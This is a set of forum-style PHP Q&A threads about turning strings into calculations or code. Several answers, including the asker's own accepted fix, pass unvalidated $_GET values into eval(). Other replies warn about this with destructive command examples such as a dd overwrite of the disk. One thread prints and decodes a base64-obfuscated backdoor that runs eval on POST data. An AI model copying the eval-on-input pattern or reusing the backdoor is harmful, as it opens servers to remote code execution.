With code something like this
$tk = intval($_GET['tk']);
$vosa = $_GET['vosa'];
echo $tk*100*$vosa;
Where $vosa is a string of something like 0.0425/1920*60*8. I'd need it replaced, without being calculated first, into the echo and then echo the entire thing $tk*100*0.0425/1920*60*8 result. How could I achieve this?
Ok another version. Replace the values in your string with sprintf.
echo sprintf("%s*100*%s", (string)$tk, (string)$vosa);
if %d for digit don't match your case then you can use %s. You use in your case directly $_GET variables. So sprintf is a good choice. I have tested it with:
php -r 'echo sprintf("%s*100*%s", "123", "4.000");'
output:
123*100*4.000
To output, just echo the string:
echo "{$vosa} = {$result}";
Your problem is how to calculate $result from $vosa.
A very risky way would be to use eval() - or as someone sometimes calls it, evil().
The risk is that I could send you a vosa value of system('FORMAT C: /AUTOTEST') (which would not work, but you get my meaning).
// vosa='/bin/dd if=/dev/zero of=etc etc'
// This will return zero. It will return a whole lot of zeroes
// all over your hard disk.
$result = eval("return {$tk}*100*{$vosa};");
Possibly, validating $vosa with a regular expression could help, at least as long as you use simple expressions.
Alternately, you must implement an expression parser.
This is another ready made. You would use it like this:
include('./some/where/mathparser.php');
$parser = new MathParser();
$parser->setExpression("{$tk}*100*{$vosa}");
$result = $parser->getValue();
echo "The result of {$tk}*100*{$vosa} is {$result}.";
You can use string and then use eval to execute it as a php code:
<?php
$tk = intval($_GET['tk']);
$vosa = $_GET['vosa'];
echo eval("return $tk*100*$vosa;");
Caution
The eval() language construct is very dangerous because it allows execution of arbitrary PHP code. Its use thus is discouraged. If you have carefully verified that there is no other option than to use this construct, pay special attention not to pass any user provided data into it without properly validating it beforehand.
$tk = intval($_GET['tk']);
$vosa = $_GET['vosa']; // "0.0425/1920*60*8"
$ans = eval('return '.$vosa.';');
echo $ans;
echo "<br>";
echo $tk*100*$ans;
Example : https://eval.in/819834
Got it myself
<?php
$tk = $_GET['tk'];
$aeg = $_GET['aeg'];
$kfc = $_GET['kfc'];
$vosa = $_GET['vosa'];
$final = $tk.'*'.$aeg.'*'.$kfc.'*'.$vosa;
$ans = eval('return '.$final.';');
echo round($ans,2);
Related
I am programming in php and I have the following variable :
$calculation = '15-12';
Is there a function allowing me to convert the character string into calculation?
Yeah, you can use eval expression for such case, but it's not recommended (mention by #El_Vanja). It would be better to cast the values to their correct types and do the calculation.
eval scenario
$calculation = '15-12';
$result = eval('return '.$calculation.';');
print $result; // output will be 3
casted types
$calculation = '15-12';
$values = explode('-', $calculation);
$result = intval($values[0]) - intval($values[1]);
print $result;
The eval() function could be used here:
$calculation = '15-12';
$result = eval('return '.$calculation.';');
echo $result; //outputs '3'
You can use eval() https://www.php.net/manual/en/function.eval
Pay attention that this function execute the string like PHP code and if it contains specific mathematical expression, it will fail. In this case you'll need to parse your string and do calculation by yourself or use an external library.
#aspirinemaga's solution for casting is the approach that I would take.
If it isn't always going to be subtraction (and you want to avoid using eval()) then you could always use strpos to figure out if it is adding/subtracting/multiplying and then pass it the expression to a switch statement to get your calc.
heyy,
I want to run the code found in the string below
$str=" $row["AccountID"].$row["CurrencyID"] ";
like this:
while($row = $result2->fetch_assoc()) {
echo $str;
}
but the output is shown like this:
$row["AccountID"].$row["CurrencyID"]
That's not what i need ,
how can i make it run the code inside the string and allowing it to read the "$row" word as a variable not as a string?
Programming languages, like PHP, will not evaluate strings, for good reason. You'd have huge security holes in your application if PHP tried to evaluate everything it found in strings.
The reason why $str = "$row"; works is because PHP is evaluating "$row" before the string is even assigned. The variable $row doesn't live in $str, the value does.
A common use case is storing a template syntax and replacing the placeholders in your view. Possible placeholders are %AccountID% or {{AccountID}}. Whatever you prefer, and then using string replacements on those placeholders with the $row values inside the loop:
$template = "The account ID is %AccountID%.";
...
while($row = $result2->fetch_assoc()) {
echo str_replace('%AccountID%', $row['AccountID'], $template);
}
I'd urge you not to rely on eval() here because it'd leave you open to dangerous injections when you don't have full control over the input.
this is a way:
sprintf('%d%d', $row["AccountID"], $row["CurrencyID"]);
%d is integer format
You can find and replace the values within the string using this implode/explode method.
$str = '$row["AccountID"].$row["CurrencyID"]';
//first remove the '.'
$str = implode('', explode('.', $str));
while($row = $result2->fetch_assoc()) {
$row_str = $str;
foreach($row as $field=>$value){
$row_str = implode($value, explode('$row["'.$field.'"]', $row_str ));
}
echo $row_str;
}
I had this in my php file. looks like some malware but i want to know what does it means
what its doing
<?php //cb6f82f3e4007bdaccf419abafab94c8
$_=
//system file do not delete
'CmlmKGlzc2V0KCRfUE9TVFsiY29kZSJdKSkKewogICAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29kZSJdKSk7Cn0=';
//system file do not delete
$__ = "JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7";$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));
Have a look at base64_decode.
$___ stands for base64_decode. Then $__ is base64_decode'd and evaluated, which executes the following:
$code = base64_decode($_);
eval($code);
Which finally executes this:
if(isset($_POST["code"]))
{
eval(base64_decode($_POST["code"]));
}
I would recommend you to delete it and check other files if they are infected, too.
eval — Evaluate a string as PHP code
Caution
The eval() language construct is very dangerous because it allows
execution of arbitrary PHP code. Its use thus is discouraged. If you
have carefully verified that there is no other option than to use this
construct, pay special attention not to pass any user provided data
into it without properly validating it beforehand.
A short Example:
<?php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
?>
Output
This is a $string with my $name in it.
This is a cup with my coffee in it.
I'm struggling to find the best way to do this. Basically I am provided strings that are like this with the task of printing out the string with the math parsed.
Jack has a [0.8*100]% chance of passing the test. Katie has a [(0.25 + 0.1)*100]% chance.
The mathematical equations are always encapsulated by square brackets. Why I'm dealing with strings like this is a long story, but I'd really appreciate the help!
There are plenty of math evaluation libraries for PHP. A quick web search turns up this one.
Writing your own parser is also an option, and if it's just basic arithmetic it shouldn't be too difficult. With the resources out there, I'd stay away from this.
You could take a simpler approach and use eval. Be careful to sanitize your input first. On the eval docs's page, there are comments with code to do that. Here's one example:
Disclaimer: I know eval is just a misspelling of evil, and it's a horrible horrible thing, and all that. If used right, it has uses, though.
<?php
$test = '2+3*pi';
// Remove whitespaces
$test = preg_replace('/\s+/', '', $test);
$number = '(?:\d+(?:[,.]\d+)?|pi|π)'; // What is a number
$functions = '(?:sinh?|cosh?|tanh?|abs|acosh?|asinh?|atanh?|exp|log10|deg2rad|rad2deg|sqrt|ceil|floor|round)'; // Allowed PHP functions
$operators = '[+\/*\^%-]'; // Allowed math operators
$regexp = '/^(('.$number.'|'.$functions.'\s*\((?1)+\)|\((?1)+\))(?:'.$operators.'(?2))?)+$/'; // Final regexp, heavily using recursive patterns
if (preg_match($regexp, $q))
{
$test = preg_replace('!pi|π!', 'pi()', $test); // Replace pi with pi function
eval('$result = '.$test.';');
}
else
{
$result = false;
}
?>
preg_match_all('/\[(.*?)\]/', $string, $out);
foreach ($out[1] as $k => $v)
{
eval("\$result = $v;");
$string = str_replace($out[0][$k], $result, $string);
}
This code is highly dangerous if the strings are user inputs because it allows any arbitrary code to be executed
The eval approach updated from PHP doc examples.
<?php
function calc($equation)
{
// Remove whitespaces
$equation = preg_replace('/\s+/', '', $equation);
echo "$equation\n";
$number = '((?:0|[1-9]\d*)(?:\.\d*)?(?:[eE][+\-]?\d+)?|pi|π)'; // What is a number
$functions = '(?:sinh?|cosh?|tanh?|acosh?|asinh?|atanh?|exp|log(10)?|deg2rad|rad2deg|sqrt|pow|abs|intval|ceil|floor|round|(mt_)?rand|gmp_fact)'; // Allowed PHP functions
$operators = '[\/*\^\+-,]'; // Allowed math operators
$regexp = '/^([+-]?('.$number.'|'.$functions.'\s*\((?1)+\)|\((?1)+\))(?:'.$operators.'(?1))?)+$/'; // Final regexp, heavily using recursive patterns
if (preg_match($regexp, $equation))
{
$equation = preg_replace('!pi|π!', 'pi()', $equation); // Replace pi with pi function
echo "$equation\n";
eval('$result = '.$equation.';');
}
else
{
$result = false;
}
return $result;
}
?>
Sounds, like your homework....but whatever.
You need to use string manipulation php has a lot of built in functions so your in luck. Check out the explode() function for sure and str_split().
Here is a full list of functions specifically related to strings: http://www.w3schools.com/php/php_ref_string.asp
Good Luck.
i have a string with double quote like this
$count = 5;
$str = "result: $count";
echo $str; //result: 5
variable parsing work well, and my problem is $count var must be define later than $str
$str = "result: $count";
$count = 5;
echo $str; //result:
So i will use single quote and ask a question here to finding a way to parse var whenever i want
$str = 'result: $count';
$count = 5;
//TODO: parse var process
echo $str; //result: 5
I'm will not using regex replace.
For this type of thing, I'd probably use string formatting. In PHP, that'd be printf.
?php
$str="result: %d"
....dostuff.....define $count.....
printf($str,$count)
?
edit:
although, the best way to do this probably depends partly on why you have to define $string before $count.
If it's a string that's repeated a lot, and you wanted to put it in a global variable or something, printf would be my choice, or putting it in a function as other answers have suggested.
If the string is only used once or twice, are you sure you can't refactor the code to make $count be defined before $string?
finally, a bit of bland theory:
when you write '$string = "result: $count"',
PHP immediately takes the value of $count and puts it into the string. after that, it isn't worried about $count anymore, for purposes of $string, and even if $count changes, $string won't, because it contains a literal copy of the value.
There isn't, as far as I'm aware, a way of binding a position in a string to a yet-to-be-defined variable. The 'printf' method leaves placeholders in the string, which the function printf replaces with values when you decide what should go in the placeholders.
So, if you wanted to only write
$string = "result: $count"
$count=5
$echo string
(and not have to call another function)
and get
"result: 5",
there's no way to do that. The closest method would be using placeholders and printf, but that requires an explicit call to a function, not an implicit substitution.
Why don't you use a function?
function result_str($count) { return "result: $count"; }
preg_replace is the simplest method. Something like this:
$str = preg_replace("/\\$([a-z0-9_]+)/ie", "$\\1", $str);
But if you really don't want to use a regex, then you'll have to parse the string manually, extract the variable name, and replace it.